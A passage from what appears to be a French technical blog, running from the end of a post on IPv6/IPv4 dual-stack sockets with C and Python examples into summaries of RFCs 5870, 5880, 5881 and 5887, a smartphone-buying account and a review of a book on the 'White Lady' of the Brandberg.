Même si Debian changeait d'avis et revenait à la valeur originale de /proc/sys/net/ipv6/bindv6only=0, il reste les autres systèmes comme NetBSD ou FreeBSDnet.inet6.ip6.v6only a toujours été à un par défaut, et sur lesquels les prises v6 n'écoutent par défaut qu'en v6. Que le programmeur pense que bindv6only devrait être à 0 ou à 1 ne change pas grand'chose : s'il veut que son code soit portable, il doit marcher dans les deux cas (voir en ce sens une opinion sur Debian, « I think that any application that breaks if the default value is 0 or 1 is broken »).

Y a t-il une autre solution ? Oui, le même RFC 3493, dans sa section 5.3, propose une nouvelle option setsockopt(), IPV6_V6ONLY que l'application et non plus l'administrateur système peut utiliser pour contrôler si les prises v6 acceptent aussi le v4 :

       *v6only = false;
       setsockopt(fd, IPPROTO_IPV6, IPV6_V6ONLY,
                       (*v6only ? &true_opt : &false_opt), sizeof(int));

Ainsi, une application qui tient à n'avoir qu'une seule prise, pour des raisons de simplicité, et à traiter les deux familles, v4 et v6, de la même manière (ce qui est logique pour la grande majorité des applications, la couche réseau n'étant pas leur souci), peut utiliser cette option et tout marche. Cela oblige simplement le programmeur à un peu plus de travail.

Avec le serveur développé ici, cela se fait avec l'option -o (uniquement v6) ou -b (les deux) :

# Sur une machine NetBSD, où, par défaut, c'est uniquement IPv6 :
% ./server-v4v6-bind

# Sur le client :
% telnet 192.168.2.7 8081
Trying 192.168.2.7...
telnet: Unable to connect to remote host: Connection refused

# Sur la machine NetBSD, avec la bonne option, pour accepter les deux familles :
% ./server-v4v6-bind -b
...
One connection accepted from ::ffff:192.168.2.1

# Le client avait eu :
% telnet 192.168.2.7 8081
Trying 192.168.2.7...
Connected to 192.168.2.7.
Escape character is '^]'.

Cela, c'était pour C. Mais pour les autres langages ? Eh bien, c'est souvent le problème. L'option IPV6_V6ONLY n'est pas toujours accessible. Un langage comme Go a mis du temps (rapport de bogue #679) mais aujourd'hui les programmes comme le serveur echo NoNewContent gèrent bien IPv4 et IPv6.

En Java, même problème, aucun moyen de positionner l'option IPV6_V6ONLY, compter sur l'option /proc/sys/net/ipv6/bindv6only du système est la seule solution.

Dans d'autres langages (Perl - cf. bogue Debian #569981, par exemple), l'option n'est pas connue directement, mais en récupérant la valeur de la constante (dans les en-têtes C, elle vaut 26 sur ma Debian et 27 sur ma NetBSD) et en la précisant à la main on peut quand même utiliser cette option. Un document d'EGEE donne davantage de détails.

Pour Python, voici comment faire le programme équivalent à celui en C, dans une version de haut niveau, utilisant la bibliothèque SocketServer (il faut redéfinir la méthode server_bind car, une fois le constructeur ThreadingTCPServer appelé, c'est trop tard) :

import SocketServer
# Low-level library "socket" required to set IPv6only to false :-(
import socket

PORT = 8081

class AllIPsTCPServer(SocketServer.TCPServer):
    
    def server_bind(self):
        # Override this method to be sure v6only is false: we want to
        # listen to both IPv4 and IPv6!
        # The socket.IPV6_V6ONLY appeared with Python 2.5.
        self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
        SocketServer.TCPServer.server_bind(self)

class MyHandler(SocketServer.StreamRequestHandler):

    def handle(self):
        print "Connection from %s" % self.client_address[0]

AllIPsTCPServer.address_family = socket.AF_INET6
server = AllIPsTCPServer(("", PORT), MyHandler)
server.serve_forever()

Bien sûr, c'est assez lourd. Tot l'intérêt d'un langage de haut niveau comme Python et d'une bibliothèque comme SocketServer, qui masque les aspects les plus primitifs des prises, est justement normalement de dispenser de ce genre de manip'. Normalement, tout ceci devrait être fait par SocketServer mais, hélas, ne l'est pas.

On peut aussi en faire une version de bas niveau, utilisant directement la bibliothèque socket (mais SocketServer apporte plein d'avantages pour une application réelle, donc je déconseille, ceci dit, il existe une bonne documentation) :

import socket

PORT = 8081

s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
# Listen on v4 as well as v6
s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
s.bind(("", PORT))
s.listen(1)
while True: 
    (rs, peer) = s.accept()
    print ("Connection accepted from %s" % peer[0])

Merci à Xavier Jeannin, Pierre Beyssac, Vincent Danjean et Étienne Duble pour leurs excellents conseils. Et bien sûr le génial livre de Stevens m'a beaucoup aidé pour écrire le programme de test. Autre excellente source d'information, le rapport d'Étienne Dublé du groupe EGEE sur les différents langages de programmation et IPv6. Pour un très bon tour d'horizon de tous les aspects de la programmation réseau dans les deux familles, je recommande le chapitre « Programmation » du « Gisèle ».


L'article seul

RFC 5870: A Uniform Resource Identifier for Geographic Locations ('geo' URI)

Date de publication du RFC : Juin 2010
Auteur(s) du RFC : A. Mayrhofer (IPCom), C. Spanring
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF geopriv
Première rédaction de cet article le 7 juin 2010
Dernière mise à jour le 7 juillet 2010


Ce RFC normalise un nouveau plan pour les URI, geo, qui permet de représenter l'information concernant la latitude et la longitude sous la forme d'un URI, par exemple geo:13.4125,103.8667.

Le projet « plan geo » est un vieux projet de normalisation des URI de localisation géographique. En l'absence d'un tel plan, beaucoup de gens utilisaient des URI http comme ceux de Google Maps, ou bien des mécanismes spécifiques à un certain format (cf. section 1 du RFC). Ainsi, la cathédrale Saint-Étienne à Vienne, qui se notait souvent http://maps.google.com/maps?f=q&source=s_q&hl=fr&sspn=0.355096,0.500565&ie=UTF8&ll=48.208223,16.372687&spn=0.00281,0.003911&t=h&z=18 sera désormais geo:48.208333,16.372778. Un tel URI est-il utilisable ? Oui, si on a l'extension Firefox appropriée (cf. http://geouri.org/2007/02/26/firefox-extension-handles-geo-uri/ mais la version actuelle est bien vieille et ne marche pas avec les Firefox récents). Comme expliqué par la section 5 du RFC, on pourrait imaginer d'autres applications. Un tel mécanisme va certainement aider tous ceux qui manipulent des informations géographiques sur l'Internet, par exemple le remarquable projet OpenStreetMap qui permettrait d'écrire le lien ci-dessus http://www.openstreetmap.org/?lat=48.208333&lon=16.372778&zoom=40.

D'autres exemples et scénarios d'usage figurent dans la section 6. Outre la création d'hyperliens classiques pointant vers un service de cartographie (section 6.2), on peut imaginer des code-barres 2D codant un URI geo (section 6.3) et permettant à un smartphone avec un GPS d'afficher l'itinéraire vers l'endroit indiqué.

Les sections 1 et 2 exposent les principes de base de ce plan, notamment le choix du système de coordonnées WGS 84, entre autre parce que c'est celui du GPS. La syntaxe des URI permettra l'indication d'autres systèmes plus tard mais, pour l'instant, WGS 84 est le système officiel. Dans WGS 84, un point est représenté par une latitude, une longitude et une altitude.

La section 3 est l'enregistrement officiel du plan auprès de l'IANA dans le registre des plans d'URI, suivant les règles du RFC 4395. Elle inclus la syntaxe formelle des URI (section 3.3). De manière résumée, un URI geo comprend la chaîne de caractères geo: suivie de deux ou trois nombres, séparés par des virgules. Le premier est la latitude (en degrés décimaux), le second la longitude (idem) et le troisième (optionnel) l'altitude (en mètres). Ainsi, geo:90.0,0.0,100 désigne un point à cent mètres au dessus du Pôle Nord (cf. section 3.4.2 pour les détails et, attention, WGS 84 mesure l'altitude par rapport au géoïde, pas par rapport au niveau de la mer, cf. section 3.4.5).

Un paramètre optionnel (et dont l'usage est actuellement déconseillé), crs=, permettra d'indiquer d'autres systèmes de coordonnées que WGS 84. Un autre paramètre optionnel, u= indique l'incertitude sur la mesure (section 3.4.3).

Une utilisation courante des URI est la comparaison. Ces deux URI sont-ils équivalents ? La section 3.4.4 répond à cette question, moins évidente qu'il n'y parait. La comparaison de deux URI geo ne signifie pas en effet qu'ils désignent le même point (ce qui serait trop compliqué à déterminer) mais est plus restrictive que cela : deux URI geo sont identiques si tous les nombres sont rigoureusement les mêmes. Donc, geo:45.0,-10.0 est identique à geo:45,-10 mais la fonction de comparaison n'essaie pas d'utiliser le paramètre u= (l'incertitude) pour considérer que deux points sont proches... (Voir aussi la section 6.4.)

À noter qu'il existe déjà des moyens de noter une position géographique dans un langage formel. Une des plus connues est GML et la section 7 indique comment convertir entre les URI geo et les éléments <Point> de GML. Ainsi, le code GML :


<gml:Point srsDimension="2" srsName="urn:ogc:def:crs:EPSG:6.6:4326">                                                       
                        <gml:pos>49.40 -123.26</gml:pos>
                  </gml:Point>

deviendrait l'URI geo:49.40,-123.26. Et, si vous vous demandez où c'est, voyez http://www.openstreetmap.org/?lat=49.4&lon=-123.26&zoom=10.

Même si le RFC ne le cite pas, il y avait aussi le mécanisme ICBM addresses, plus primitif (apparemment pas de norme écrite, pas d'indication de l'altitude, résolution plus faible...)

Deux nouveaux registres IANA créés (sections 4 et 8), pour stocker les paramètres possibles et les valeurs admises pour les paramètres : https://www.iana.org/assignments/geo-uri-parameters/geo-uri-parameters.xhtml.

Les mises en œuvre de ce RFC sont encore rares et une liste figure sur le site de référence. Mais les progrès que ce plan d'URI sont cruciaux : Comme le note Nicolas Krebs, utiliser geo: permet de s'affranchir d'un fournisseur. Ce plan d'adresse est neutre quand au service cartographique utilisé. C'est l'utilisateur qui fait ce choix. geo:48.208333,16.372778 est à http://maps.google.com/maps?ll=48.208223,16.372778 ce que news:hrctmq$ua8$1@news.le-studio75.com (RFC 5538) est à http://groups.google.com/group/fr.usenet.divers/msg/cf1d3bd076ba6559.


Téléchargez le RFC 5870


L'article seul

Choix d'un téléphone moderne

Première rédaction de cet article le 2 juin 2010
Dernière mise à jour le 8 octobre 2010


Bon, pendant longtemps, je me suis dit qu'un bête téléphone portable low cost suffisait parfaitement pour téléphoner et que je n'avais pas besoin de gadgets de frimeur comme le Blackberry ou l'iPhone. Mais à force de voir tant de gens jouer avec ces trucs, je me suis dit « pourquoi ne pas m'acheter un smartphone ? » Et c'est là que le problème a commencé. Comme Tristan Nitot, je me suis mis à me poser des questions. J'ai finalement acheté un HTC Desire avec Android et cet article a pour but de résumer la démarche et les raisons du choix.

D'abord, commençons par le cahier des charges (pas trop différent de celui de Tristan Nitot). Le truc que je veux se caractérise par :

  • Avant tout, la bidouillabilité ou, pour parler comme Zittrain, la générativité. Je veux un téléphone qui puisse faire des choses non prévues par le constructeur, où je puisse bricoler des applications ou des combinaisons d'application, que je puisse brancher sur des machines inhabituelles, etc. Pas question d'un outil fermé et contrôlé par une entreprise privée qui décide de ce que j'ai le droit de faire avec mon téléphone.
  • Comme il va me servir dans mon travail d'informaticien, il faut que les outils habituels comme SSH soient disponibles. Idéalement, ce serait bien que je puisse faire tourner les programmes de mon blog dessus. Ceci dit, cela sera une utilisation minoritaire.
  • Évidemment, il faut que je puisse téléphoner... Dans de bonnes conditions : bon son, facilité de prise en main, batterie de grande capacité. Et je voudrais que ça marche tout de suite (si je veux expérimenter, j'ai un Neo FreeRunner).
  • Comme j'ai vraiment besoin d'un PDA, de bons logiciels de gestion du carnet d'adresses, d'agenda, etc, sont nécessaires.

Ces critères sont impératifs. Il y en a d'autres mais moins vitaux :

  • Comme mon carnet d'adresses et mon agenda sont actuellement sur un Palm Zire, pouvoir les récupérer est essentiel (ah, la joie des données accumulées pendant des années dans un format non-standard...). D'ailleurs, cela serait vraiment très bien si le téléphone pouvait se synchroniser facilement avec mes machines Debian, pour avoir une sauvegarde, et éviter de recommencer les conversions au prochain téléphone.
  • Comme je suis un gros paresseux et que je n'ai pas forcément envie de me battre avec un mot de passe en japonais, je préfère quelque chose qu'on puisse acheter en France.
  • Pouvoir programmer en Go dessus.
  • Que tout le logiciel soit libre. Pour le logiciel qui tourne sur mon ordinateur, c'est un critère impératif. Mais, dans le monde de l'embarqué, il est difficile d'être aussi exigeant. Après tout, mon téléphone actuel, un Samsung, n'est certainement pas en logiciel libre.

Quelles sont les possibilités actuelles ? Le Blackberry et l'iPhone sont complètement fermés, rien n'y tourne sans une autorisation explicite du constructeur. Celui-ci a donc un pouvoir exorbitant et, comme toujours, ce pouvoir rend fou, menant par exemple à une censure à l'iranienne. Évidemment, je n'ai guère envie non plus de ce qui fonctionne avec Windows Mobile.

Il reste donc :

J'avais mis beaucoup d'espoirs dans le FreeRunner. Ces espoirs ont été déçus, même téléphoner est impossible (à cause d'un phénomène d'echo qu'on ne peut rattraper qu'en envoyant à ses frais le FreeRunner en réparation). Certains disent que mon article ci-dessus date mais ce discours a toujours accompagné le FreeRunner (« oui, d'accord, autrefois, ça marchait mal mais maintenant c'est bon ») donc je suis sceptique. Le logiciel Openmoko semble abandonné et les équipes restantes semblent plus intéressées par l'expérimentation que par la production d'un téléphone utilisable.

Les systèmes fondés sur Android sont innombrables. Android étant du logiciel libre, n'importe qui peut le modifier avant de le mettre sur les téléphones de sa marque (Orange est ainsi réputé pour les manipulations particulièrement intrusives sur les Android qu'ils vendent). Certains viennent avec une configuration très peu respectueuse de la vie privée, où toutes les données sont confiées à Google (ce que dénonce à juste titre Tristan Nitot, dans l'article déjà cité, mais en oubliant que Android étant libre, il se présente en d'innombrables variantes). Parmi les nombreux téléphones utilisant Android, j'ai vu des remarques positives sur :

Et du côté de MeeGo ? Ce système d'exploitation, héritier de Maemo et des projets d'Intel, équipe des téléphones comme le Nokia N900. Voici un Unix normal, avec SSH, OpenVPN et tout le toutim. Paradoxalement, la plupart des critiques du Nokia N900 portent sur le fait que ses fonctions de téléphone sont médiocres et qu'il faut plutôt l'acheter comme nano-ordinateur.

Et les téléphones avec le système Symbian, comme les précédentes Nokia (E72, N97, N86...) ? Le logiciel est désormais libre mais ne semble plus très activement développé.

Enfin, reste les Palm Pre dont j'espèrait (naïvement ?) qu'ils rendront au moins la migration des données de mon Zire facile...

Bref, une offre foisonnante, où les questions techniques et politiques (et financières !), matérielles et logicielles s'entremêlent, rendant le choix difficile. Tirer aux dés ? Se fier au vote de la majorité de mes lecteurs ?

Je me suis finalement décidé pour le HTC Desire, avec le Samsung Galaxy S comme second choix. Les vrais problèmes commencent ensuite. Ces engins coûtent cher, un achat « sec » a de quoi faire réfléchir. J'ai donc cherché à en avoir avec un abonnement, pour ne pas payer plus de 450 euros TTC. Mais les possibilités sont limitées : SFR ne vend aucun des deux, la boutique Bouygues en ligne non plus (le HTC Desire n'est accessible que pour les abonnements « professionnels »), des boutiques physiques comme celles de PhoneHouse ou de Bouygues affichent le HTC Desire sur les présentoirs mais il n'est jamais en stock. D'autres boutiques comme PhoneAndPhone me disent que je ne peux pas garder mon numéro actuel si je reste chez le même fournisseur en passant à un abonnement 3G. Bref, j'attends toujours une solution simple... En attendant, je l'ai acheté sec, ce qui a l'avantage de garantir une version non bricolée par l'opérateur, non « simlockée ». Et je n'ai pas encore d'abonnement 3G, je ne me connecte qu'en WiFi.

Du point de vue matériel, je suis très satisfait de l'engin. À part le fait que la housse (ainsi que le stylet conducteur, indispensable) soit vendue à part. Pour le prix de la bête, ça fait mesquin... D'autre part, l'autonomie très basse est un problème : le système d'exploitation étant livré avec plein de gadgets tous plus rigolos les uns que les autres, la tentation est forte, surtout au début, d'installer beaucoup de choses et on se retrouve avec une batterie vide en quelques heures. J'ai compilé une liste des applications que j'utilise, y compris pour traiter ce problème.


L'article seul

RFC 5880: Bidirectional Forwarding Detection

Date de publication du RFC : Juin 2010
Auteur(s) du RFC : D. Katz (Juniper Networks), D. Ward (Cisco Systems)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF bfd
Première rédaction de cet article le 1 juin 2010


Le tout nouveau protocole BFD est un protocole très générique de test de la liaison entre deux routeurs, de manière à ce qu'ils puissent déterminer qu'ils sont encore capables de se passer des paquets. Son originalité est d'être indépendant du type de liaison physique, ainsi que des protocoles de routage.

Les routeurs ont toujours besoin de savoir si les autres routeurs sur le même réseau sont joignables, afin de pouvoir calculer une route alternative. Certaines liaisons physiques fournissent très rapidement une indication en cas de panne (SONET), d'autres peu ou pas du tout (Ethernet). Les routeurs utilisent donc en général une fonction du protocole de routage, comme la fonction Hello de OSPF. Le principe est de s'envoyer des messages régulièrement. Si on n'a pas entendu un routeur voisin depuis deux ou trois périodes, c'est qu'il est en panne (section 1 du RFC). Mais ces mécanismes ne fonctionnent que s'il y a un protocole de routage (ce n'est pas toujours le cas, il existe des routes statiques), ils ne testent que la communication entre les control engines des routeurs, la partie qui gère les protocoles de routage, pas la communication entre les forwarding engines, la partie qui commute effectivement les paquets (ces deux parties sont souvent radicalement séparés sur un routeur et peuvent donc tomber en panne séparement). Enfin, ces mécanismes sont typiquement trop lents à détecter les pannes.

D'où BFD, présenté dans la section 2 de notre nouveau RFC. BFD est une fonction du forwarding engine pour être sûr qu'il teste la capacité des routeurs à transmettre les paquets, et pour survivre au redémarrage d'un protocole de routage. Il ne dépend pas de fonctions du lien physique comme la diffusion, pour pouvoir fonctionner sur tous les types de liens physiques.

La section 3 décrit le fonctionnement du protocole. Comme les autres systèmes de type Hello, chaque routeur BFD envoie périodiquement à ses voisins des paquets pour dire « Tout va bien ». Lorsqu'on ne les reçoit plus, on sait que le routeur est planté. La durée entre deux paquets est modifiable dynamiquement, afin de garantir un temps de détection de panne aussi court que possible, sans pour autant trop surcharger le réseau par des paquets Hello.

BFD a deux modes de fonctionnement (section 3.2), asynchrone, où chaque routeur envoie ses paquets Hello sans se préoccuper de l'autre et synchrone (Demand mode, cf. section 6.6) où le routeur n'envoie rien par défaut, il attend une sollicitation « Tu es toujours là ? ». En outre, BFD dispose d'une fonction Echo où le routeur qui reçoit un paquet BFD répond aussitôt. Cette fonction est utilisable avec les deux modes. Elle peut être coûteuse en nombre de paquets mais elle teste réellement tout le chemin à travers le forwarding plane (la machinerie qui commute et transmet les paquets) du routeur cible. La même section 3.2 discute les avantages et les inconvénients de chaque mode, ainsi que ceux d'une utilisation de la fonction Echo (sur cette fonction, voir aussi les sections 5 et 6.4, qui précise notamment qu'echo est asymétrique, elle peut être activée dans une direction seulement).

Les paquets BFD sont envoyés dans le contexte d'une session et l'établissement de cette session nécessite un mécanisme de contrôle. Le format des paquets qui le réalisent est exposé en section 4. Un paquet BFD a plusieurs champs (section 4.1) dont deux discriminateurs, des nombres qui identifient les sessions à bord des deux routeurs (chaque paquet comprend le discriminateur mis par la source et, s'il est connu, celui pertinent pour la destination ; le discriminateur identifie la session, pas le routeur). Une authentification simple est possible (sections 4.2 à 4.4 et 6.7).

Une fois le format défini, que doivent faire les deux routeurs pour envoyer et traiter correctement les paquets BFD ? C'est l'objet de la section 6. D'abord, il faut décider de lancer le service. Un des routeurs le sollicite, il est actif (l'autre est passif). L'actif envoie des paquets de contrôles, informant de son désir de commencer une session, et indiquant le discriminateur (cf. section 6.3). Des paramètres comme le mode (synchrone ou asynchrone) et le rythme d'envoi de paquets (section 6.8.2) sont alors négociés. L'envoi de paquets continue alors, selon les paramètres sélectionnés. La session est considérée comme en panne s'il n'y a pas de réponse.

La machine à états du protocole (très simple) est décrite en section 6.2.

Enfin, en pratique, l'expérience du déploiement d'autres protocoles justifie qu'une section, la 7, soit consacréee aux problèmes opérationnels. Par exemple, les paquets BFD circulant directement sur la couche 2, sans passer par un protocole de couche 3 (ce qui sera sans doute un cas courant), risquent d'être bloqués par certains pare-feux et il faut donc veiller à la configuration de ceux-ci. Il y a aussi un problème analogue pour tous les mécanismes de shaping. Limiter le rythme de transmission des paquets BFD (qui doivent normalement être considérés comme du trafic temps réel) pourrait interférer avec leur fonction de détection des pannes.

Autre question pratique de grande importance, la sécurité. Si tout se passe bien, BFD deviendra une partie essentielle de l'infrastructure réseau. Une attaque contre BFD pourrait donc avoir des effets très étendus, par exemple en réalisant une DoS si un attaquant peut bloquer la réception des paquets BFD. D'où la section 9 sur la sécurité. Ainsi, pour ne citer qu'un exemple, si on fait passer BFD sur un protocole de couche 3 comme IP, un paquet BFD imité, avec une fausse adresse IP source, serait trivial à fabriquer et à envoyer au routeur victime. Lorsque les routeurs parlant BFD sont adjacents (situés sur le même réseau physique), il faut donc mettre le TTL à la valeur maximale et vérifier qu'elle n'a pas été décrémentée (technique GTSM, décrite dans le RFC 5082).

Et les implémentations ? Les routeurs Juniper l'ont depuis longtemps (version 8.3 de JunOS), ainsi que les Brocade et les Cisco. Pour les deux premiers, BFD fonctionne aussi en multi-hop, cf. RFC 5883. Voici par exemple sur un Brocade :

telnet@ro=1#show bfd neighbors bgp
Total Entries:8 R:RxRemote(Y:Yes/N:No)H:Hop(S:Single/M:Multi)
....

Il y a aussi une implémentation dans Linux avec kbfd et une autre libre, OpenBFDd. Merci à Ludovic Boué pour ses précisions.


Téléchargez le RFC 5880


L'article seul

RFC 5881: BFD for IPv4 and IPv6 (Single Hop)

Date de publication du RFC : Juin 2010
Auteur(s) du RFC : D. Katz (Juniper), D. Ward (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF bfd
Première rédaction de cet article le 1 juin 2010


Le protocole de détection BFD, normalisé dans le RFC 5880, permet plusieurs applications. La plus évidente est la détection de la panne d'une machine voisine et c'est celle que normalise notre RFC 5881.

Traditionnellement, la détection de la panne d'un voisin se faisait lorsqu'il arrêtait d'envoyer certains messages, par exemple les paquets Hello pour un voisin OSPF. Mais cette méthode est souvent lente. BFD (RFC 5880) spécifie un mécanisme générique de détection, indépendant des protocoles de routage et du lien physique. BFD permet plusieurs applications dont, pour notre RFC 5881, la connectivité avec un voisin immédiat (« immédiat » au sens IP, pas forcément au sens physique). Cette application fonctionne avec IPv4 ou IPv6, mais sur des sessions BFD séparées.

Si la fonction d'écho de BFD est employée, la section 2 note qu'il faut penser à désactiver les filtres du RFC 2827, incompatibles avec la façon dont cette fonction marche.

À quoi ressemblent les paquets de cette application ? Comme indiqué en section 4, ce sont des paquets UDP utilisant le port 3784 - et 3785 pour la fonction d'écho. BFD emploie IP de manière assez... créative et nécessite donc des précautions particulières, notamment pour éviter que des paquets de redirection (ICMP redirect) soient envoyés. Ainsi, la section 4 prévient que l'adresse IP source, paradoxalement, ne devrait pas être une adresse légale du sous-réseau utilisé (ni, en IPv6, une adresse locale au lien). Mettre en œuvre BFD, sur certains systèmes d'exploitation, peut donc être difficile, puisque ce protocole nécessite de court-circuiter pas mal de fonctions normales d'IP.

La section 5 précise les TTL à utiliser. Si on ne se sert pas des fonctions d'authentification de BFD, il faut limiter les risques d'usurpation en mettant un TTL de 255, la valeur maximale. Comme le TTL est diminué par chaque routeur, la réception d'un paquet avec ce TTL prouvera que le paquet vient bien du lien local (cf. section 9 et RFC 5082).


Téléchargez le RFC 5881


L'article seul

Fiche de lecture : La Dame Blanche et l'Atlantide

Auteur(s) du livre : Jean-Loïc Le Quellec
Éditeur : Éditions Errance
978-2-87772-409-8
Publié en 2010
Première rédaction de cet article le 31 mai 2010


En science, comme ailleurs, on voit surtout ce qu'on veut voir. Sinon, comment expliquer que tant d'experts se soient égarés sur l'interprétation de la fresque préhistorique de la Dame blanche du Brandberg ? C'est leur histoire que raconte Jean-Loïc Le Quellec dans un livre passionnant, d'art et d'aventure, de science et de politique.

Le très beau livre de Le Quellec commence logiquement par la découverte de la fresque. En 1917, Reinhard Maack découvre en Namibie une superbe fresque préhistorique. Le personnage central (futur « Dame blanche ») attire les regards, et Maack lui trouve un air égyptien ou en tout cas méditerranéen. Avant de le blâmer, il faut préciser que Maack, comme d'autres protagonistes de l'histoire, n'est pas resté dans un bureau confortable avec accès Internet. Il est allé sur le terrain, dans des conditions matérielles difficiles, et a dû travailler sans matériel moderne, dans une grotte qui n'était pas aussi bien éclairée qu'un musée. Bref, on comprend que sa première impression aie pu être fausse. Mais son interprétation rencontrera immédiatement un grand succès : rapidement, la théorie que ce personnage est une femme de race blanche s'impose, et on lui trouve des parentés avec les égyptiens, les crétois et même, n'ayons peur de rien, avec les atlantes. Rien n'étayait ces interprétations mais elles ont pourtant été largement acceptées par la plupart des experts (comme Raymond Dart), les (nombreux) sceptiques gardant juste un silence prudent.

C'est que l'époque se prêtait à ces théories. Politiquement, c'était le point culminant de l'entreprise colonialiste. Celle-ci nécessitait un substrat idéologique, la conviction que les noirs étaient incapables de toute civilisation. En voyant une blanche dans le personnage central, et en lui trouvant une origine extra-africaine, on justifiait la colonisation comme un simple retour des européens dans une région que leurs ancêtres avaient déjà « civilisée ». La même démarche était à l'origine des théories fantaisistes sur les fondateurs du Grand Zimbabwe, assimilé à Ophir et supposé être construit par la reine de Saba, voire par Salomon lui-même.

Et il n'y avait pas que l'archéologie qui était influencée par cette entreprise. Les chapitres les plus passionnants du livre détaillent la place que ces théories de « cités perdues », construites par des grecs, des romains ou des atlantes au cœur de l'Afrique, occupaient dans la littérature de l'époque. Rider Haggard et Burroughs en anglais, Benoit en français, et des dizaines d'autres auteurs moins célèbres ont brodé à l'infini sur ce thème. Souvent, ces romans appelaient la science à leur aide pour fournir des notes de bas de page savantes ou des discours pseudo-scientifiques d'explication. Que la littérature utilise la science, c'est normal (et je suis plus indulgent là-dessus que Le Quellec qui parle de manière assez méprisante de « procédé »). Mais le plus grave est que la science s'est laissé entrainer, a oublié la distance entre le roman et la réalité, et que des experts comme l'Abbé Breuil (avec sa pittoresque collaboratrice Mary Boyle) ont cru dur comme fer à ces fictions, au point de chercher à tout prix à les retrouver dans la réalité.

Cela leur a fait oublier la plus élémentaire prudence scientifique. Oublier que, sur la plupart des fresques murales, les couleurs sont purement conventionnelles, reflétant par exemple le statut social (et la dame blanche n'est donc pas de race blanche). Oublier que distinguer un homme d'une femme sur une peinture n'est pas aisé, lorsque la civilisation qui a fait ces peintures n'avait pas les mêmes critères de représentation extérieure du genre que nous. Oublier le risque de la subjectivité quand on relève un dessin presque effacé et que la main de l'artiste ajoute les détails que son œil n'a pas pu voir. Le Quellec publie plusieurs fois des photos détaillées des peintures, accompagnées des relevés faits par les chercheurs, ce qui permet de juger du manque de rigueur de celui qui a fait le relevé, omettant des détails gênants (comme le pénis de la soi-disant dame) ou ajoutant ceux qui manquaient.

Comme le rappelle Le Quellec « les mythes ne s'identifient bien qu'avec une prise de distance, dans l'espace ou dans le temps ». Le lecteur du 21ème siècle voit bien les œillères idéologiques qui aveuglaient Breuil, alors qu'il ne distingue probablement pas celles d'aujourd'hui...


L'article seul

RFC 5887: Renumbering still needs work

Date de publication du RFC : Mai 2010
Auteur(s) du RFC : B. Carpenter (Univ. of Auckland), R. Atkinson (Extreme Networks), H. Flinck (Nokia Siemens Networks)
Pour information
Première rédaction de cet article le 28 mai 2010


Changer les adresses IP utilisées par un réseau a toujours été une plaie pour l'administrateur réseaux. Il faut modifier des tas de fichiers, plusieurs configurations et on en oublie toujours. Des années après, on retrouve encore les anciennes adresses IP à des endroits inattendus (dans les documentations, par exemple). Sans compter que le changement peut mettre en jeu des partenaires extérieurs à votre organisation, par exemple parce qu'ils ont autorisé vos adresses IP dans la configuration de leur pare-feu. Bref, tout ingénieur qui a fait l'opération sait très bien qu'elle est très coûteuse.

Résultat, les gens hésitent à changer. Ils souhaitent conserver leurs adresses IP en changeant d'opérateur (les adresses PI, l'équivalent Internet de la portabilité des numéros de téléphone), ils jouent avec les règles des RIR pour garder les adresses, ils contribuent ainsi à la fragmentation de la table de routage globale.

Un certain nombre de projets de nouvelles architectures pour l'Internet, ou bien de tentatives de réduction de la taille de la DFZ repose sur l'idée que la rénumérotation d'un réseau devrait devenir banale (cf. section 1), permettant ainsi de ne garder que les noms de domaine comme identificateurs stables, les adresses IP pouvant changer sans douleur. C'était certainement l'idée originale pour la séparation entre adresses et noms mais est-ce réaliste ? Ce RFC répond qu'en tout cas, il y a du travail avant que ce ne soit le cas...

Que contient ce document ? Une analyse des mécanismes permettant ou facilitant le rénumérotation, ainsi que de leurs limites. C'est un document très concret, nourri de beaucoup d'expériences pratiques, et qui devrait intéresser tous les administrateurs réseaux. À l'IETF , espérons qu'il injectera un peu de réalisme opérationnel dans les discussions. Il succède au RFC 1900, d'où son titre dérive. Plusieurs documents ont été publiés par l'IETF sur ce sujet (cf. section 1, qui cite notamment le RFC 4192). Depuis la publication du RFC 1900 en 1996, plusieurs techniques ont été développées, qui auraient dû faire disparaître le problème (par exemple DHCPRFC 2131 et RFC 8415 ou l'auto-configuration sans état d'IPv6RFC 4862). Pourtant, le diagnostic unanime des praticiens est que le renumérotage des réseaux demeure coûteux et délicat (renuméroter une machine individuelle, par exemple celle de M. Michu chez lui, alors qu'il est abonné à un FAI grand public est, par contre, en général une opération indolore).

Quelles sont les raisons pour renuméroter un réseau entier ? La section 1 fournit de nombreux cas où c'est nécessaire :

  • Changement d'opérateur, pour les malheureux qui ont des adresses PA, la cause la plus courante,
  • Renumérotation chez l'opérateur lui-même...
  • Changement de topologie (par exemple pour tenter de récupérer quelques adresses IPv4 au fur et à mesure qu'elles s'épuisent) ou d'organisation interne (par exemple fusion de deux entreprises),
  • etc.

Dans tous ces cas, le changement est planifié à l'avance (la renumérotation non planifiée est bien plus difficile).

Enfin, pour terminer cette introduction, le RFC note que certaines solutions techniques, en séparant les adresses locales et les adresses publiques, peuvent diminuer et peut-être supprimer le besoin de renumérotation. C'est le cas du NAT, bien sûr, mais aussi de toutes les solutions fondées sur la séparation de l'identificateur et du localisateur. Mais le NAT a d'énormes défauts (voir par exemple le RFC 5128) et les techniques de séparation sont encore peu déployées.

Quelles sont les solutions techniques aujourd'hui pour faciliter la rénumérotation ? La section 2 explore les techniques du côté des machines non routeuses. Par exemple, DHCP (section 2.1) a été un grand succès en terme de déploiement et il rend la renumérotation d'une machine « terminale » presque indolore. Même chose pour l'auto-configuration sans état de IPv6 (sections 2.2 et 2.3) ou pour PPP (section 2.4, RFC 1332 et RFC 5072), ce dernier étant bien plus riche puisqu'il fournit des possibilités de négociation des paramètres comme les adresses.

La très grande majorité des interactions entre machines, sur l'Internet, commencent par une requête DNS. En effet, les machines et les services sont en général référencés par leur nom et pas par leur adresse IP. La rénumérotation d'un réseau va donc nécessiter la mise à jour des enregistrement DNS (section 2.5). Sur les sites sérieux, ces enregistrements sont typiquement mis à jour à partir d'une base de données, ce qui rend la renumérotation relativement simple. Une solution alternative est que la machine (ou le serveur DHCP) mette à jour le DNS (RFC 3007) Cette solution est largement déployée, et des outils existent pour toutes les plate-formes (comme nsupdate pour Unix).

